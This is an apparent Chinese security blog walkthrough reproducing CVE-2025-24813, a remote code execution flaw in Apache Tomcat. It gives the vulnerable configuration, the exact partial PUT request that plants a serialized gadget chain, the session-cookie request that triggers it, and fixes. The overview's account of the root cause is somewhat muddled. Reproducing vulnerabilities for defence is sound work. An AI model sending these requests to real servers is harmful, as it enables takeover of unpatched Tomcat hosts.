CVE-2025-24813:Apache Tomcat远程代码执行漏洞
CVE-2025-24813:Apache Tomcat远程代码执行漏洞
白帽子 2025-03-27 22:08
关注我们❤️,添加星标🌟,一起学安全!
作者:Howell@Timeline Sec
本文字数:3141
阅读时长:2~4mins
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
Apache Tomcat 是一个开源的、轻量级的 Java Servlet 容器和 Web 服务器,由Apache软件基金会开发和维护,支持运行 Java Servlet、JavaServer Pages (JSP) 和其他基于 Java 的 Web 应用程序,广泛用于开发和部署企业级 Web 应用。
0x02 漏洞概述
漏洞编号:CVE-2025-24813
CVE-2025-24813 是一个高危逻辑漏洞,该漏洞的 CVSS 评分为 5.5,属于中危漏洞(可利用性较差)。漏洞产生的根本原因是Apache Tomcat 的反序列化机制未对用户输入进行严格验证,攻击者可通过构造恶意序列化对象绕过安全限制,处理 partial PUT 请求时,攻击者利用临时文件路径处理中的缺陷(将路径分隔符”/”替换为“.”),通过特定条件(如启用默认 servlet 的写入功能)实现远程代码执行并控制服务器。
0x03 利用条件
1)影响版本
– 9.0.0.M1 <= Apache Tomcat <= 9.0.98
-
10.1.0-M1 <= Apache Tomcat <= 10.1.34
-
11.0.0-M1 <= Apache Tomcat <= 11.0.2
2)其他条件:
– 满足以下条件,攻击者可以访问或修改安全敏感文件
:
-
DefaultServlet 启用了写入权限(默认禁用)。
-
服务器启用了 partial PUT(默认启用)。
-
该敏感文件存放在允许上传的目录的子路径(攻击者需要能够在该敏感文件目录上级路径使用 partial PUT 上传文件)
-
攻击者已知目标敏感文件的路径以及文件名。
-
敏感文件是通过 partial PUT 上传的。
-
满足以下条件,攻击者可以远程代码执行(RCE)
: -
DefaultServlet 启用了写入权限(默认禁用)。
-
服务器启用了partial PUT(默认启用)。
-
Tomcat 使用了基于文件的 Session 持久化机制(非默认配置,默认为基于内存持久化),且存储位置为默认路径。
-
应用程序包含 可利用的反序列化漏洞库(如 Commons-Collections 3.x)。
0x04 环境搭建
安装 JAVA 一定要选择 JAVA 8,这是我试验的这么多版本中成功率最高的一个版本,成功率几乎为 100%!!!
在
JAVA 中国[1]
下载JAVA,并配置环境变量。
在
Apache Tomcat[2]
下载对应漏洞版本的 Tomcat,并配置用户变量。
打开 Tomcat 文件夹,在 conf/web.xml
中添加如下配置,开启 File 文件会话存储
<Context> <Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore"/> </Manager> </Context>
在 conf/web.xml
中,将 DefaultServlet 的 readonly 配置为 False,启用写入功能。
<servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> <load-on-startup>1</load-on-startup></servlet>
下载 Commons Collections 3.2.1.jar,然后进来到 Tomcat 根目录,进入 webapps\ROOT\WEB-INF
,在此路径下新建 lib
文件夹,将 CC 放入。
启动 Tomcat,并访问 8080 端口,查看是否启动成功。
0x05 漏洞复现
使用 yakit 抓包。
使用 yakit 中的 yso-java hack 生成一个 base64 的序列化利用链(当然,使用 Java Chains 或者
ysoseri-all.jar 也是可以的)。
由于构造链是 base64 编码文件,如果直接存入并读取是无效的,所以只能发一个二进制文件。于是,在这里添加一个 base64 解码标签,并使用 POC 发送包。
PUT /poc/session HTTP/1.1 Host: localhost:8080 Content-Length: 1000 Content-Range: bytes 0-1000/1200 {{base64decode(反序列化文件内容)}}
在 HTTP 协议中,Content-Range
字段用于表示客户端通过分段传输的方式上传或下载文件。例如 Content-Range: bytes 0-1000/1200
表示文件总大小是1200字节,本次上传的是前1001字节(0-1000),后续上传剩余部分(1001-1200)。
发送成功后,在 Tomcat 根目录的 work/Catalina/localhost/ROOT
目录下会生成一个 .poc.session
文件。
使用 partial PUT 请求将恶意的序列化数据写入到会话文件中,在开启文件会话持久化(默认存储位置),并且在文件上传未完成的情况下,内容会被临时存储在 Tomcat 的工作目录 work\Catalina\localhost\ROOT
。
然后发送触发 POC 的包即可。
GET / HTTP/1.1 Host: localhost:8080 Cookie: JSESSIONID=.poc
成功弹出计算器!
0x06 修复方式
-
官方修复 Apache 官方已发布安全通告并发布了修复版本,请尽快下载安全版本修复漏洞。 Upgrade to Apache Tomcat 11.0.3 or later Upgrade to Apache Tomcat 10.1.35 or later Upgrade to Apache Tomcat 9.0.99 or late
-
临时缓解措施
-
禁用 DefaultServlet 写入功能:在 web.xml
中确保 readonly=true
。 -
禁用文件会话持久化:移除 context.xml
中的 PersistentManager 配置。 -
移除漏洞库:删除或更新类路径下存在漏洞的库(如commons-collections-3.2.1.jar)。
历史复现
参考资料
[1]
JAVA 中国: https://www.oracle.com/cn/java/technologies/downloads/
[2]
Apache Tomcat: https://tomcat.apache.org/
回复
【加群】
进入微信交流群
回复
【SRC群】
进入SRC-QQ交流群
回复
【新人】
领取新人学习指南资料
回复
【面试】
获取渗透测试常见面试题
回复
【手册】
获取原创技术PDF手册
回复
【合作】
获取各类安全项目合作方式
回复
【帮会】
付费加入SRC知识库学习
回复
【
培训】
获取TimelineSec创办的实战课程
视频号:搜索TimelineSec,官方微博
团队官网:
http://www.timelinesec.com
B站:
https://space.bilibili.com/524591903
❤
觉得有用就点个赞吧!
欢迎评论区留言讨论~